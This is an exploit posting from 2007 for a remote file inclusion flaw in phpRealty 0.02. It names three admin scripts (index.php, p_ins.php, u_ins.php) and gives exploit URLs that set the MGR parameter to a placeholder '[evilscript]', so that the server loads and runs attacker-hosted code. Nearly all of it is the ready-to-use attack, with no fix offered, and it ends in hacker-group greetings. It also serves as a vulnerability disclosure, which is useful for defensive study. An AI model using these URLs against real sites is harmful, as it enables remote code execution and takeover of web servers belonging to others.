phpreality-rfi.txt
Posted on 11 September 2007
|-------------------------------------------------------------------------------| | | | phpRealty 0.02 (MGR) Remote File include | | | | Script : phpRealty | | Version : 0.02 | | Authord : QTRinux | | Contact : Qataro [at] hotmail [dot] com | | Vendor : http://phprealty.budissy.com/phprealty/v0.02/ | | DorK : :( |-------------------------------------------------------------------------------| | Bug in : | | manager/admin/index.php | | manager/admin/p_ins.php | | manager/admin/u_ins.php | |-------------------------------------------------------------------------------| | EXPLOIT : | | | | http://localhost/[ Path ]/manager/admin/index.php?MGR=[evilscript] | | http://localhost/[ Path ]/manager/admin/p_ins.php?MGR=[evilscript] | | http://localhost/[ Path ]/manager/admin/u_ins.php?MGR=[evilscript] | |-------------------------------------------------------------------------------| | Greetz : AlQaTaR!,MR.SH4R3S,Mo0oTeC,MaZaGi, | | | ---------------------[ [Qatar Security Team] ]-------------------------
